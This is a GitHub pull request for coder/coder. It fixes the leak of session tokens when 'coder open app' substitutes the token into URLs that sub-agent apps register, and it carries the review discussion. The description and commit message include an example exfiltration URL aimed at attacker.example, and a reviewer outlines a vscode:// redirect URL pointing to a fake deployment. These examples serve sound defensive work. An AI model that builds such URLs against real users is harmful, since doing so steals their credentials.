fix: prevent session token exfiltration via external app URLs by zedkipp · Pull Request #26146 · coder/coder · GitHub
Skip to content

fix: prevent session token exfiltration via external app URLs#26146

Merged
zedkipp merged 3 commits into
mainfrom
zedkipp/plat-266-token-leak
Jun 11, 2026
Merged

fix: prevent session token exfiltration via external app URLs#26146
zedkipp merged 3 commits into
mainfrom
zedkipp/plat-266-token-leak

Conversation

@zedkipp

@zedkipp zedkipp commented Jun 8, 2026

Copy link
Copy Markdown
Contributor

coder open app substituted the user's session token into any external workspace-app URL containing $SESSION_TOKEN before opening, letting a malicious sub-agent exfiltrate the token via a URL like https://attacker.example/?t=$SESSION_TOKEN.

Substitution is now restricted to URLs from top-level (template-authored) agents. Sub-agent URLs that still contain $SESSION_TOKEN are printed for the user to inspect and substitute manually rather than opened automatically. Sub-agent URLs without the placeholder are unaffected.

@linear-code

linear-code Bot commented Jun 8, 2026

Copy link
Copy Markdown

@zedkipp

zedkipp commented Jun 8, 2026

Copy link
Copy Markdown
Contributor Author

/coder-agents-review

@coder-agents-review

coder-agents-review Bot commented Jun 8, 2026

Copy link
Copy Markdown
Contributor

Chat: Review in progress | View chat
Requested: 2026-06-08 20:41 UTC by @zedkipp

deep-review v0.7.1 | Round 1 | f17f839..7361437

Last posted: Round 1, 2 findings (1 P2, 1 P3), COMMENT. Review

Finding inventory

Findings

# Sev Status Location Summary Round Reviewer Posted
CRF-1 P2 Open external.go:27 Go and TS maintain independent session-token scheme allowlists with no sync mechanism R1 Netero Yes
CRF-2 P3 Open clitest.go:259 RequireNotContains passes silently when err is nil, unlike RequireContains R1 Netero Yes

Round log

Round 1

Netero-only. 1 P2, 1 P3. Reviewed against f17f839..7361437.

About deep-review

CRF = Coder Review Finding (P0-P4, Nit, Note)

Reviewer Focus
Bisky tests
Chopper ops/errors
Churn-guard change verification
Ging language modernization
Gon naming
Hisoka edge cases
Killua perf
Kite change integrity
Knov contracts
Knuckle SQL
Kurapika security
Law decomposition
Leorio docs
Luffy product
Mafu-san process
Mafuuu contracts
Melody dispatch/pairing
Meruem structural
Nami frontend
Netero mechanical checks
Pariston premise testing
Pen-botter product gaps
Razor verification
Robin duplication
Ryosuke Go arch
Takumi concurrency
Zoro shape

🤖 Managed by Coder Agents.

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

First-pass review (Netero). These are mechanical findings only; the full review panel has not yet reviewed this PR. The panel will review after these findings are addressed.

Security fix that gates $SESSION_TOKEN substitution in external workspace-app URLs to a scheme allowlist. The approach is clean and test coverage is solid (3.25:1 test-to-production ratio, 6 integration subtests covering allowed schemes, disallowed schemes, and the attack vector). Good use of a shared package for the allowlist logic.

Findings: 1 P2, 1 P3.

"They use different formats (Go: bare scheme "vscode", TS: protocol string "vscode:"), neither file references the other, and there is no test or lint that detects drift." (Netero)

🤖 This review was automatically generated with Coder Agents.

Comment thread coderd/workspaceapps/appurl/external.go Outdated
Comment thread cli/clitest/clitest.go Outdated
@zedkipp zedkipp marked this pull request as ready for review June 8, 2026 21:53
@coder-tasks

coder-tasks Bot commented Jun 8, 2026

Copy link
Copy Markdown
Contributor

Documentation Check

Updates Needed

  • docs/user-guides/devcontainers/customizing-dev-containers.md - Update example to use an allowed scheme (approach changed: the entire "Session token" section is now removed since devcontainer apps run on sub-agents and no longer receive token substitution)
  • docs/user-guides/devcontainers/customizing-dev-containers.md - Remove the $SESSION_TOKEN section, which documented a feature that is no longer available for devcontainer (sub-agent) apps. ✅ Addressed in this PR.

No additional documentation changes needed. The removal is appropriate: $SESSION_TOKEN substitution is now restricted to top-level (template-defined) agent apps only, and the CLI emits a warning when a sub-agent app attempts to use it.


Automated review via Coder Agents

@github-actions

github-actions Bot commented Jun 8, 2026

Copy link
Copy Markdown

Docs preview

📖 View docs preview for docs/user-guides/devcontainers/customizing-dev-containers.md

@mafredri mafredri left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this fix actually sufficient to protect against a malicious template author? What if I created a coder_app that simply sets the url to vscode://coder.coder-remote/open?owner=...&workspace=...&url=https://malicious-coder.maf&token=$SESSION_TOKEN?

This would configure the VS Code extension to try to login to authenticate with my malicious/fake coder deployment with the provided token. Wouldn't that allow exfiltration just the same?

@johnstcn

johnstcn commented Jun 9, 2026

Copy link
Copy Markdown
Member

What if we didn't automatically open any external URL via coder open and instead display the URL for the user to inspect?

@mafredri

mafredri commented Jun 9, 2026

Copy link
Copy Markdown
Member

Discussed with @johnstcn and the dev container attack vector could be patched by turning all apps belonging to a sub-agent into untrusted apps (no auto-open).

@zedkipp

zedkipp commented Jun 9, 2026

Copy link
Copy Markdown
Contributor Author

I really like the suggestion to remove trust for apps that belong to a sub-agent entirely. I am going to proceed with that approach because it's simpler and a more complete fix that addresses the attack vector (malicious registration of an external app from within a workspace). A malicious template author that adds a bogus external app would still be trusted, but that's a different threat model imo.

@zedkipp zedkipp force-pushed the zedkipp/plat-266-token-leak branch from c2f3460 to cd2a415 Compare June 9, 2026 17:15
@zedkipp zedkipp changed the title fix: only substitute session token into trusted external app URLs fix: prevent session token exfiltration via external app URLs Jun 9, 2026
@zedkipp zedkipp requested a review from mafredri June 9, 2026 19:40
`coder open app` previously substituted the user's session token into
any external workspace-app URL containing $SESSION_TOKEN before
dispatching it to the OS open handler, regardless of the URL's host,
scheme, or the app's provenance. A malicious workspace could register a
sub-agent app pointing at `https://attacker.example/?t=$SESSION_TOKEN`
and exfiltrate the session token the moment the user ran
`coder open app`.

Gate token substitution by app provenance. Sub-agent apps are
attacker-influenceable through workspace configuration
(devcontainer.json) and runtime registration, so the CLI no longer
substitutes the user's session token into their URLs. If such a URL
still contains the $SESSION_TOKEN placeholder, the CLI prints a
warning before opening so the user knows the literal placeholder will
be passed through unchanged. The URLs still open, but no real token is
sent. This also neutralizes scheme-handler URL-redirect attacks for
sub-agent apps, for example a malicious
vscode://coder.coder-remote/open URL with an attacker-controlled url=
parameter.

Top-level agent apps come from the workspace template, which is
admin-authored and vetted at import. Substitution continues unchanged
for those URLs.
@zedkipp zedkipp force-pushed the zedkipp/plat-266-token-leak branch from cd2a415 to e46b922 Compare June 10, 2026 04:33
Comment thread cli/open.go Outdated
Comment on lines +403 to +405

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This will produce the URL with the $SESSION_TOKEN placeholder still present; this probably won't work. Our options:

  • Leave as-is -> likely to fail with "invalid session token" error (depends on how the external app handles it)
  • Strip it -> URL may still not work
  • Still insert the placeholder, but print it to stdout instead of automatically opening it -> user now can inspect it before visiting the link.

@zedkipp zedkipp Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I went with option 3), but I also went with omitting the substitution of the placeholder when outside the workspace. I felt like that was pragmatic because the user can easily substitute $(coder login token) and we can avoid putting the token in shell history.

zedkipp added 2 commits June 10, 2026 15:48
…resent

Sub-agent app URLs that don't reference $SESSION_TOKEN carry no token
to leak via `coder open app`. Restrict the no-auto-open gate to
sub-agent URLs that still contain the literal placeholder; sub-agent
URLs without the placeholder open like ordinary external apps.
@zedkipp zedkipp requested a review from johnstcn June 11, 2026 15:31
@zedkipp zedkipp merged commit 9b550cb into main Jun 11, 2026
31 of 32 checks passed
@zedkipp zedkipp deleted the zedkipp/plat-266-token-leak branch June 11, 2026 15:58
@github-actions github-actions Bot locked and limited conversation to collaborators Jun 11, 2026
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants